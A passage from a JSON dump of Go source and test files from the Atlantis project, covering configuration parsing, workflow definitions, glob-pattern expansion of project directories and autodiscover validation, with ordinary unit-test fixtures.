1,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tTeamAuthz: valid.TeamAuthz{\n\t\t\t\t\tArgs: make([]string, 0),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"id regex with trailing slash\": {\n\t\t\tinput: `\nrepos:\n- id: /github.com//\n`,\n\t\t\texp: valid.GlobalCfg{\n\t\t\t\tRepos: []valid.Repo{\n\t\t\t\t\tdefaultCfg.Repos[0],\n\t\t\t\t\t{\n\t\t\t\t\t\tIDRegex: regexp.MustCompile(\"github.com/\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"default\": defaultCfg.Workflows[\"default\"],\n\t\t\t\t},\n\t\t\t\tTeamAuthz: valid.TeamAuthz{\n\t\t\t\t\tArgs: make([]string, 0),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"referencing default workflow\": {\n\t\t\tinput: `\nrepos:\n- id: github.com/owner/repo\n  workflow: default\n`,\n\t\t\texp: valid.GlobalCfg{\n\t\t\t\tRepos: []valid.Repo{\n\t\t\t\t\tdefaultCfg.Repos[0],\n\t\t\t\t\t{\n\t\t\t\t\t\tID:       \"github.com/owner/repo\",\n\t\t\t\t\t\tWorkflow: defaultCfg.Repos[0].Workflow,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"default\": defaultCfg.Workflows[\"default\"],\n\t\t\t\t},\n\t\t\t\tTeamAuthz: valid.TeamAuthz{\n\t\t\t\t\tArgs: make([]string, 0),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t\"redefine default workflow\": {\n\t\t\tinput: `\nworkflows:\n  default:\n    plan:\n      steps:\n      - run: custom\n    policy_check:\n      steps: []\n    apply:\n      steps: []\n    import:\n      steps: []\n    state_rm:\n      steps: []\n`,\n\t\t\texp: valid.GlobalCfg{\n\t\t\t\tRepos: []valid.Repo{\n\t\t\t\t\t{\n\t\t\t\t\t\tIDRegex:            regexp.MustCompile(\".*\"),\n\t\t\t\t\t\tBranchRegex:        regexp.MustCompile(\".*\"),\n\t\t\t\t\t\tPlanRequirements:   []string{},\n\t\t\t\t\t\tApplyRequirements:  []string{},\n\t\t\t\t\t\tImportRequirements: []string{},\n\t\t\t\t\t\tWorkflow: &valid.Workflow{\n\t\t\t\t\t\t\tName: \"default\",\n\t\t\t\t\t\t\tApply: valid.Stage{\n\t\t\t\t\t\t\t\tSteps: nil,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tPolicyCheck: valid.Stage{\n\t\t\t\t\t\t\t\tSteps: nil,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tPlan: valid.Stage{\n\t\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tStepName:   \"run\",\n\t\t\t\t\t\t\t\t\t\tRunCommand: \"custom\",\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tImport: valid.Stage{\n\t\t\t\t\t\t\t\tSteps: nil,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tStateRm: valid.Stage{\n\t\t\t\t\t\t\t\tSteps: nil,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tAllowedWorkflows:          []string{},\n\t\t\t\t\t\tAllowedOverrides:          []string{},\n\t\t\t\t\t\tAllowCustomWorkflows:      Bool(false),\n\t\t\t\t\t\tDeleteSourceBranchOnMerge: Bool(false),\n\t\t\t\t\t\tRepoLocks:                 &valid.DefaultRepoLocks,\n\t\t\t\t\t\tPolicyCheck:               Bool(false),\n\t\t\t\t\t\tCustomPolicyCheck:         Bool(false),\n\t\t\t\t\t\tAutoDiscover:              raw.DefaultAutoDiscover(),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"default\": {\n\t\t\t\t\t\tName: \"default\",\n\t\t\t\t\t\tApply: valid.Stage{\n\t\t\t\t\t\t\tSteps: nil,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tPlan: valid.Stage{\n\t\t\t\t\t\t\tSteps: []valid.Step{\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tStepName:   \"run\",\n\t\t\t\t\t\t\t\t\tRunCommand: \"custom\",\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tTeamAuthz: valid.TeamAuthz{\n\t\t\t\t\tArgs: make([]string, 0),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\tr := config.ParserValidator{}\n\t\t\ttmp := t.TempDir()\n\t\t\tpath := filepath.Join(tmp, \"conf.yaml\")\n\t\t\tOk(t, os.WriteFile(path, []byte(c.input), 0600))\n\n\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\t\t\tPolicyCheckEnabled: false,\n\t\t\t}\n\n\t\t\tact, err := r.ParseGlobalCfg(path, valid.NewGlobalCfgFromArgs(globalCfgArgs))\n\n\t\t\tif c.expErr != \"\" {\n\t\t\t\texpErr := strings.ReplaceAll(c.expErr, \"<tmp>\", path)\n\t\t\t\tErrEquals(t, expErr, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tOk(t, err)\n\n\t\t\tif !act.PolicySets.HasPolicies() {\n\t\t\t\tc.exp.PolicySets = act.PolicySets\n\t\t\t}\n\n\t\t\tEquals(t, c.exp, act)\n\t\t\t// Have to hand-compare regexes because Equals doesn't do it.\n\t\t\tfor i, actRepo := range act.Repos {\n\t\t\t\texpRepo := c.exp.Repos[i]\n\t\t\t\tif expRepo.IDRegex != nil {\n\t\t\t\t\tAssert(t, expRepo.IDRegex.String() == actRepo.IDRegex.String(),\n\t\t\t\t\t\t\"%q != %q for repos[%d]\", expRepo.IDRegex.String(), actRepo.IDRegex.String(), i)\n\t\t\t\t}\n\t\t\t\tif expRepo.BranchRegex != nil {\n\t\t\t\t\tAssert(t, expRepo.BranchRegex.String() == actRepo.BranchRegex.String(),\n\t\t\t\t\t\t\"%q != %q for repos[%d]\", expRepo.BranchRegex.String(), actRepo.BranchRegex.String(), i)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Test that if we pass in JSON strings everything should parse fine.\nfunc TestParserValidator_ParseGlobalCfgJSON(t *testing.T) {\n\tcustomWorkflow := valid.Workflow{\n\t\tName: \"custom\",\n\t\tPlan: valid.Stage{\n\t\t\tSteps: []valid.Step{\n\t\t\t\t{\n\t\t\t\t\tStepName: \"init\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tStepName:  \"plan\",\n\t\t\t\t\tExtraArgs: []string{\"extra\", \"args\"},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tStepName:   \"run\",\n\t\t\t\t\tRunCommand: \"custom plan\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tPolicyCheck: valid.Stage{\n\t\t\tSteps: []valid.Step{\n\t\t\t\t{\n\t\t\t\t\tStepName: \"plan\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tStepName:   \"run\",\n\t\t\t\t\tRunCommand: \"custom policy_check\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tApply: valid.Stage{\n\t\t\tSteps: []valid.Step{\n\t\t\t\t{\n\t\t\t\t\tStepName:   \"run\",\n\t\t\t\t\tRunCommand: \"my custom command\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tImport: valid.Stage{\n\t\t\tSteps: []valid.Step{\n\t\t\t\t{\n\t\t\t\t\tStepName:   \"run\",\n\t\t\t\t\tRunCommand: \"custom import\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tStateRm: valid.Stage{\n\t\t\tSteps: []valid.Step{\n\t\t\t\t{\n\t\t\t\t\tStepName:   \"run\",\n\t\t\t\t\tRunCommand: \"custom state_rm\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tconftestVersion, _ := version.NewVersion(\"v1.0.0\")\n\n\tcases := map[string]struct {\n\t\tjson   string\n\t\texp    valid.GlobalCfg\n\t\texpErr string\n\t}{\n\t\t\"empty string\": {\n\t\t\tjson:   \"\",\n\t\t\texpErr: \"unexpected end of JSON input\",\n\t\t},\n\t\t\"empty object\": {\n\t\t\tjson: \"{}\",\n\t\t\texp:  valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{}),\n\t\t},\n\t\t\"setting all keys\": {\n\t\t\tjson: `\n{\n  \"repos\": [\n    {\n      \"id\": \"/.*/\",\n      \"workflow\": \"custom\",\n      \"allowed_workflows\": [\"custom\"],\n      \"apply_requirements\": [\"mergeable\", \"approved\"],\n      \"allowed_overrides\": [\"workflow\", \"apply_requirements\"],\n      \"allow_custom_workflows\": true,\n      \"autodiscover\": {\n        \"mode\": \"enabled\"\n      },\n      \"repo_locks\": {\n        \"mode\": \"on_apply\"\n      }\n    },\n    {\n      \"id\": \"github.com/owner/repo\"\n    }\n  ],\n  \"workflows\": {\n    \"custom\": {\n      \"plan\": {\n        \"steps\": [\n          \"init\",\n          {\"plan\": {\"extra_args\": [\"extra\", \"args\"]}},\n          {\"run\": \"custom plan\"}\n        ]\n      },\n      \"policy_check\": {\n        \"steps\": [\n          \"plan\",\n          {\"run\": \"custom policy_check\"}\n        ]\n      },\n      \"apply\": {\n        \"steps\": [\n          {\"run\": \"my custom command\"}\n        ]\n      },\n      \"import\": {\n        \"steps\": [\n          {\"run\": \"custom import\"}\n        ]\n      },\n      \"state_rm\": {\n        \"steps\": [\n          {\"run\": \"custom state_rm\"}\n        ]\n      }\n    }\n  },\n  \"policies\": {\n    \"conftest_version\": \"v1.0.0\",\n    \"policy_sets\": [\n      {\n        \"name\": \"good-policy\",\n        \"source\": \"local\",\n        \"path\": \"rel/path/to/policy\"\n      }\n    ]\n  }\n}\n`,\n\t\t\texp: valid.GlobalCfg{\n\t\t\t\tRepos: []valid.Repo{\n\t\t\t\t\tvalid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{}).Repos[0],\n\t\t\t\t\t{\n\t\t\t\t\t\tIDRegex:              regexp.MustCompile(\".*\"),\n\t\t\t\t\t\tApplyRequirements:    []string{\"mergeable\", \"approved\"},\n\t\t\t\t\t\tWorkflow:             &customWorkflow,\n\t\t\t\t\t\tAllowedWorkflows:     []string{\"custom\"},\n\t\t\t\t\t\tAllowedOverrides:     []string{\"workflow\", \"apply_requirements\"},\n\t\t\t\t\t\tAllowCustomWorkflows: Bool(true),\n\t\t\t\t\t\tAutoDiscover:         &valid.AutoDiscover{Mode: valid.AutoDiscoverEnabledMode},\n\t\t\t\t\t\tRepoLocks:            &valid.RepoLocks{Mode: valid.RepoLocksOnApplyMode},\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tID:                   \"github.com/owner/repo\",\n\t\t\t\t\t\tIDRegex:              nil,\n\t\t\t\t\t\tApplyRequirements:    nil,\n\t\t\t\t\t\tAllowedOverrides:     nil,\n\t\t\t\t\t\tAllowCustomWorkflows: nil,\n\t\t\t\t\t\tAutoDiscover:         nil,\n\t\t\t\t\t\tRepoLocks:            nil,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"default\": valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{}).Workflows[\"default\"],\n\t\t\t\t\t\"custom\":  customWorkflow,\n\t\t\t\t},\n\t\t\t\tPolicySets: valid.PolicySets{\n\t\t\t\t\tVersion:      conftestVersion,\n\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tName:         \"good-policy\",\n\t\t\t\t\t\t\tPath:         \"rel/path/to/policy\",\n\t\t\t\t\t\t\tSource:       valid.LocalPolicySet,\n\t\t\t\t\t\t\tApproveCount: 1,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tTeamAuthz: valid.TeamAuthz{\n\t\t\t\t\tArgs: make([]string, 0),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\tpv := &config.ParserValidator{}\n\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{}\n\t\t\tcfg, err := pv.ParseGlobalCfgJSON(c.json, valid.NewGlobalCfgFromArgs(globalCfgArgs))\n\t\t\tif c.expErr != \"\" {\n\t\t\t\tErrEquals(t, c.expErr, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tOk(t, err)\n\n\t\t\tif !cfg.PolicySets.HasPolicies() {\n\t\t\t\tc.exp.PolicySets = cfg.PolicySets\n\t\t\t}\n\n\t\t\tEquals(t, c.exp, cfg)\n\t\t})\n\t}\n}\n\n// Test legacy shell parsing vs v3 parsing.\nfunc TestParseRepoCfg_V2ShellParsing(t *testing.T) {\n\tcases := []struct {\n\t\tin       string\n\t\texpV2    string\n\t\texpV2Err string\n\t}{\n\t\t{\n\t\t\tin:    \"echo a b\",\n\t\t\texpV2: \"echo a b\",\n\t\t},\n\t\t{\n\t\t\tin:    \"echo 'a b'\",\n\t\t\texpV2: \"echo a b\",\n\t\t},\n\t\t{\n\t\t\tin:       \"echo 'a b\",\n\t\t\texpV2Err: \"unable to parse \\\"echo 'a b\\\": EOF found when expecting closing quote\",\n\t\t},\n\t\t{\n\t\t\tin:    `mkdir a/b/c || printf \\'your main.tf file does not provide default region.\\\\ncheck\\'`,\n\t\t\texpV2: `mkdir a/b/c || printf 'your main.tf file does not provide default region.\\ncheck'`,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.in, func(t *testing.T) {\n\t\t\tv2Dir := t.TempDir()\n\t\t\tv3Dir := t.TempDir()\n\t\t\tv2Path := filepath.Join(v2Dir, \"atlantis.yaml\")\n\t\t\tv3Path := filepath.Join(v3Dir, \"atlantis.yaml\")\n\t\t\tcfg := fmt.Sprintf(`workflows:\n  custom:\n    plan:\n      steps:\n      - run: %s\n    apply:\n      steps:\n      - run: %s`, c.in, c.in)\n\t\t\tOk(t, os.WriteFile(v2Path, []byte(\"version: 2\\n\"+cfg), 0600))\n\t\t\tOk(t, os.WriteFile(v3Path, []byte(\"version: 3\\n\"+cfg), 0600))\n\n\t\t\tp := &config.ParserValidator{}\n\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\t\t\tAllowAllRepoSettings: true,\n\t\t\t}\n\t\t\tv2Cfg, err := p.ParseRepoCfg(v2Dir, valid.NewGlobalCfgFromArgs(globalCfgArgs), \"\", \"\")\n\t\t\tif c.expV2Err != \"\" {\n\t\t\t\tErrEquals(t, c.expV2Err, err)\n\t\t\t} else {\n\t\t\t\tOk(t, err)\n\t\t\t\tEquals(t, c.expV2, v2Cfg.Workflows[\"custom\"].Plan.Steps[0].RunCommand)\n\t\t\t\tEquals(t, c.expV2, v2Cfg.Workflows[\"custom\"].Apply.Steps[0].RunCommand)\n\t\t\t}\n\t\t\tglobalCfgArgs = valid.GlobalCfgArgs{\n\t\t\t\tAllowAllRepoSettings: true,\n\t\t\t}\n\t\t\tv3Cfg, err := p.ParseRepoCfg(v3Dir, valid.NewGlobalCfgFromArgs(globalCfgArgs), \"\", \"\")\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.in, v3Cfg.Workflows[\"custom\"].Plan.Steps[0].RunCommand)\n\t\t\tEquals(t, c.in, v3Cfg.Workflows[\"custom\"].Apply.Steps[0].RunCommand)\n\t\t})\n\t}\n}\n\n// String is a helper routine that allocates a new string value\n// to store v and returns a pointer to it.\nfunc String(v string) *string { return &v }\n\n// Bool is a helper routine that allocates a new bool value\n// to store v and returns a pointer to it.\nfunc Bool(v bool) *bool { return &v }\n\nfunc defaultWorkflow(name string) valid.Workflow {\n\treturn valid.Workflow{\n\t\tName:        name,\n\t\tApply:       valid.DefaultApplyStage,\n\t\tPlan:        valid.DefaultPlanStage,\n\t\tPolicyCheck: valid.DefaultPolicyCheckStage,\n\t\tImport:      valid.DefaultImportStage,\n\t\tStateRm:     valid.DefaultStateRmStage,\n\t}\n}\n\n// Test that ContainsGlobPattern correctly identifies glob patterns.\nfunc TestContainsGlobPattern(t *testing.T) {\n\tcases := []struct {\n\t\tinput    string\n\t\texpected bool\n\t}{\n\t\t{\".\", false},\n\t\t{\"dir/subdir\", false},\n\t\t{\"dir-name\", false},\n\t\t{\"dir_name\", false},\n\t\t{\"*\", true},\n\t\t{\"**\", true},\n\t\t{\"dir/*\", true},\n\t\t{\"dir/**\", true},\n\t\t{\"**/subdir\", true},\n\t\t{\"dir/*/subdir\", true},\n\t\t{\"dir/**/subdir\", true},\n\t\t{\"?\", true},\n\t\t{\"dir/?\", true},\n\t\t{\"[abc]\", true},\n\t\t{\"dir/[abc]\", true},\n\t\t{\"modules/*/\", true},\n\t\t{\"environments/**/terraform\", true},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.input, func(t *testing.T) {\n\t\t\tresult := raw.ContainsGlobPattern(c.input)\n\t\t\tEquals(t, c.expected, result)\n\t\t})\n\t}\n}\n\n// Test that ValidateGlobPattern correctly validates glob patterns.\nfunc TestValidateGlobPattern(t *testing.T) {\n\tcases := []struct {\n\t\tinput  string\n\t\texpErr bool\n\t}{\n\t\t{\"*\", false},\n\t\t{\"**\", false},\n\t\t{\"dir/*\", false},\n\t\t{\"dir/**\", false},\n\t\t{\"**/subdir\", false},\n\t\t{\"dir/*/subdir\", false},\n\t\t{\"dir/**/subdir\", false},\n\t\t{\"?\", false},\n\t\t{\"[abc]\", false},\n\t\t{\"[a-z]\", false},\n\t\t{\"modules/*/\", false},\n\t\t{\"environments/**/terraform\", false},\n\t\t// Invalid patterns\n\t\t{\"[\", true},\n\t\t{\"[abc\", true},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.input, func(t *testing.T) {\n\t\t\terr := raw.ValidateGlobPattern(c.input)\n\t\t\tif c.expErr {\n\t\t\t\tAssert(t, err != nil, \"expected error for pattern %q\", c.input)\n\t\t\t} else {\n\t\t\t\tOk(t, err)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Test glob pattern expansion in ParseRepoCfg.\nfunc TestParseRepoCfg_GlobExpansion(t *testing.T) {\n\t// Create a temp directory with the following structure:\n\t// repo/\n\t//   atlantis.yaml\n\t//   modules/\n\t//     module-a/\n\t//       main.tf\n\t//     module-b/\n\t//       main.tf\n\t//     module-c/          (no .tf files - should be excluded)\n\t//       readme.md\n\t//   environments/\n\t//     dev/\n\t//       main.tf\n\t//     prod/\n\t//       main.tf\n\n\ttmpDir := t.TempDir()\n\n\t// Create directory structure\n\tdirs := []string{\n\t\t\"modules/module-a\",\n\t\t\"modules/module-b\",\n\t\t\"modules/module-c\",\n\t\t\"environments/dev\",\n\t\t\"environments/prod\",\n\t}\n\tfor _, dir := range dirs {\n\t\terr := os.MkdirAll(filepath.Join(tmpDir, dir), 0755)\n\t\tOk(t, err)\n\t}\n\n\t// Create .tf files in terraform directories\n\ttfDirs := []string{\n\t\t\"modules/module-a\",\n\t\t\"modules/module-b\",\n\t\t\"environments/dev\",\n\t\t\"environments/prod\",\n\t}\n\tfor _, dir := range tfDirs {\n\t\terr := os.WriteFile(filepath.Join(tmpDir, dir, \"main.tf\"), []byte(\"# terraform\"), 0600)\n\t\tOk(t, err)\n\t}\n\n\t// Create non-tf file in module-c\n\terr := os.WriteFile(filepath.Join(tmpDir, \"modules/module-c/readme.md\"), []byte(\"# readme\"), 0600)\n\tOk(t, err)\n\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       string\n\t\texpDirs     []string // Expected project directories after expansion\n\t\texpErr      string\n\t}{\n\t\t{\n\t\t\tdescription: \"single glob pattern\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: \"modules/*\"\n`,\n\t\t\texpDirs: []string{\"modules/module-a\", \"modules/module-b\"},\n\t\t},\n\t\t{\n\t\t\tdescription: \"double star glob pattern\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: \"environments/**\"\n`,\n\t\t\texpDirs: []string{\"environments/dev\", \"environments/prod\"},\n\t\t},\n\t\t{\n\t\t\tdescription: \"mixed glob and non-glob projects\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: \".\"\n- dir: \"modules/*\"\n`,\n\t\t\texpDirs: []string{\".\", \"modules/module-a\", \"modules/module-b\"},\n\t\t},\n\t\t{\n\t\t\tdescription: \"glob with workflow preserved\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: \"modules/*\"\n  workspace: staging\n  apply_requirements: [approved]\nworkflows:\n  default: ~\n`,\n\t\t\texpDirs: []string{\"modules/module-a\", \"modules/module-b\"},\n\t\t},\n\t\t{\n\t\t\tdescription: \"no glob - backward compatibility\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: \"modules/module-a\"\n`,\n\t\t\texpDirs: []string{\"modules/module-a\"},\n\t\t},\n\t\t{\n\t\t\tdescription: \"invalid glob pattern\",\n\t\t\tinput: `\nversion: 3\nprojects:\n- dir: \"[invalid\"\n`,\n\t\t\texpErr: \"syntax error in pattern\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\terr := os.WriteFile(filepath.Join(tmpDir, \"atlantis.yaml\"), []byte(c.input), 0600)\n\t\t\tOk(t, err)\n\n\t\t\tr := config.ParserValidator{}\n\t\t\tcfg, err := r.ParseRepoCfg(tmpDir, globalCfg, \"\", \"\")\n\t\t\tif c.expErr != \"\" {\n\t\t\t\tAssert(t, err != nil, \"expected error\")\n\t\t\t\tAssert(t, strings.Contains(err.Error(), c.expErr), \"error %q should contain %q\", err.Error(), c.expErr)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tOk(t, err)\n\n\t\t\t// Extract directories from the parsed config\n\t\t\tvar actualDirs []string\n\t\t\tfor _, p := range cfg.Projects {\n\t\t\t\tactualDirs = append(actualDirs, p.Dir)\n\t\t\t}\n\n\t\t\t// Sort both slices for comparison\n\t\t\tEquals(t, len(c.expDirs), len(actualDirs))\n\t\t\tfor _, expDir := range c.expDirs {\n\t\t\t\tfound := slices.Contains(actualDirs, expDir)\n\t\t\t\tAssert(t, found, \"expected dir %q not found in actual dirs %v\", expDir, actualDirs)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Test that glob expansion preserves project settings.\nfunc TestParseRepoCfg_GlobExpansionPreservesSettings(t *testing.T) {\n\ttmpDir := t.TempDir()\n\n\t// Create directory structure\n\tdirs := []string{\"modules/mod-a\", \"modules/mod-b\"}\n\tfor _, dir := range dirs {\n\t\terr := os.MkdirAll(filepath.Join(tmpDir, dir), 0755)\n\t\tOk(t, err)\n\t\terr = os.WriteFile(filepath.Join(tmpDir, dir, \"main.tf\"), []byte(\"# tf\"), 0600)\n\t\tOk(t, err)\n\t}\n\n\tinput := `\nversion: 3\nprojects:\n- dir: \"modules/*\"\n  workspace: staging\n  terraform_version: v1.0.0\n  apply_requirements: [approved, mergeable]\n  autoplan:\n    enabled: false\n    when_modified: [\"*.tf\"]\n`\n\terr := os.WriteFile(filepath.Join(tmpDir, \"atlantis.yaml\"), []byte(input), 0600)\n\tOk(t, err)\n\n\tr := config.ParserValidator{}\n\tcfg, err := r.ParseRepoCfg(tmpDir, globalCfg, \"\", \"\")\n\tOk(t, err)\n\n\t// Verify we got 2 projects\n\tEquals(t, 2, len(cfg.Projects))\n\n\t// Verify each project has the correct settings\n\tfor _, p := range cfg.Projects {\n\t\tEquals(t, \"staging\", p.Workspace)\n\t\tAssert(t, p.TerraformVersion != nil, \"TerraformVersion should not be nil\")\n\t\tEquals(t, \"1.0.0\", p.TerraformVersion.String())\n\t\tEquals(t, []string{\"approved\", \"mergeable\"}, p.ApplyRequirements)\n\t\tEquals(t, false, p.Autoplan.Enabled)\n\t\tEquals(t, []string{\"*.tf\"}, p.Autoplan.WhenModified)\n\t}\n}\n\n// Test that glob expansion does not copy project names.\nfunc TestParseRepoCfg_GlobExpansionNoNameCopy(t *testing.T) {\n\ttmpDir := t.TempDir()\n\n\t// Create directory structure\n\tdirs := []string{\"modules/mod-a\", \"modules/mod-b\"}\n\tfor _, dir := range dirs {\n\t\terr := os.MkdirAll(filepath.Join(tmpDir, dir), 0755)\n\t\tOk(t, err)\n\t\terr = os.WriteFile(filepath.Join(tmpDir, dir, \"main.tf\"), []byte(\"# tf\"), 0600)\n\t\tOk(t, err)\n\t}\n\n\tinput := `\nversion: 3\nprojects:\n- name: my-project\n  dir: \"modules/*\"\n`\n\terr := os.WriteFile(filepath.Join(tmpDir, \"atlantis.yaml\"), []byte(input), 0600)\n\tOk(t, err)\n\n\tr := config.ParserValidator{}\n\tcfg, err := r.ParseRepoCfg(tmpDir, globalCfg, \"\", \"\")\n\tOk(t, err)\n\n\t// Verify we got 2 projects and none have names (since name is not copied for expanded projects)\n\tEquals(t, 2, len(cfg.Projects))\n\tfor _, p := range cfg.Projects {\n\t\tAssert(t, p.Name == nil, \"expanded projects should not have names\")\n\t}\n}\n"
  },
  {
    "path": "server/core/config/raw/autodiscover.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/bmatcuk/doublestar/v4\"\n\tvalidation \"github.com/go-ozzo/ozzo-validation\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n)\n\nvar DefaultAutoDiscoverMode = valid.AutoDiscoverAutoMode\n\ntype AutoDiscover struct {\n\tMode        *valid.AutoDiscoverMode `yaml:\"mode,omitempty\"`\n\tIgnorePaths []string                `yaml:\"ignore_paths,omitempty\"`\n}\n\nfunc (a AutoDiscover) ToValid() *valid.AutoDiscover {\n\tvar v valid.AutoDiscover\n\n\tif a.Mode != nil {\n\t\tv.Mode = *a.Mode\n\t} else {\n\t\tv.Mode = DefaultAutoDiscoverMode\n\t}\n\n\tv.IgnorePaths = a.IgnorePaths\n\n\treturn &v\n}\n\nfunc (a AutoDiscover) Validate() error {\n\n\tignoreValid := func(value any) error {\n\t\tstrSlice := value.([]string)\n\t\tif strSlice == nil {\n\t\t\treturn nil\n\t\t}\n\t\tfor _, ignore := range strSlice {\n\t\t\t// A beginning slash isn't necessary since they are specifying a relative path, not an absolute one.\n\t\t\t// Rejecting `/...` also allows us to potentially use `/.*/` as regexes in the future\n\t\t\tif strings.HasPrefix(ignore, \"/\") {\n\t\t\t\treturn errors.New(\"pattern must not begin with a slash '/'\")\n\t\t\t}\n\n\t\t\tif !doublestar.ValidatePattern(ignore) {\n\t\t\t\treturn fmt.Errorf(\"invalid pattern: %s\", ignore)\n\t\t\t}\n\n\t\t}\n\t\treturn nil\n\t}\n\n\tres := validation.ValidateStruct(&a,\n\t\t// If a.Mode is nil, this should still pass validation.\n\t\tvalidation.Field(&a.Mode, validation.In(valid.AutoDiscoverAutoMode, valid.AutoDiscoverDisabledMode, valid.AutoDiscoverEnabledMode)),\n\t\tvalidation.Field(&a.IgnorePaths, validation.By(ignoreValid)),\n\t)\n\treturn res\n}\n\nfunc DefaultAutoDiscover() *valid.AutoDiscover {\n\treturn &valid.AutoDiscover{\n\t\tMode:        DefaultAutoDiscoverMode,\n\t\tIgnorePaths: nil,\n\t}\n}\n"
  },
  {
    "path": "server/core/config/raw/autodiscover_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage raw_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/raw\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestAutoDiscover_UnmarshalYAML(t *testing.T) {\n\tautoDiscoverEnabled := valid.AutoDiscoverEnabledMode\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       string\n\t\texp         raw.AutoDiscover\n\t}{\n\t\t{\n\t\t\tdescription: \"omit unset fields\",\n\t\t\tinput:       \"\",\n\t\t\texp: raw.AutoDiscover{\n\t\t\t\tMode:        nil,\n\t\t\t\tIgnorePaths: nil,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"all fields set\",\n\t\t\tinput: `\nmode: enabled\nignore_paths:\n  - foobar\n`,\n\t\t\texp: raw.AutoDiscover{\n\t\t\t\tMode:        &autoDiscoverEnabled,\n\t\t\t\tIgnorePaths: []string{\"foobar\"},\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tvar a raw.AutoDiscover\n\t\t\terr := unmarshalString(c.input, &a)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, a)\n\t\t})\n\t}\n}\n\nfunc TestAutoDiscover_Validate(t *testing.T) {\n\tautoDiscoverAuto := valid.AutoDiscoverAutoMode\n\tautoDiscoverEnabled := valid.AutoDiscoverEnabledMode\n\tautoDiscoverDisabled := valid.AutoDiscoverDisabledMode\n\trandomString := valid.AutoDiscoverMode(\"random_string\")\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       raw.AutoDiscover\n\t\terrContains 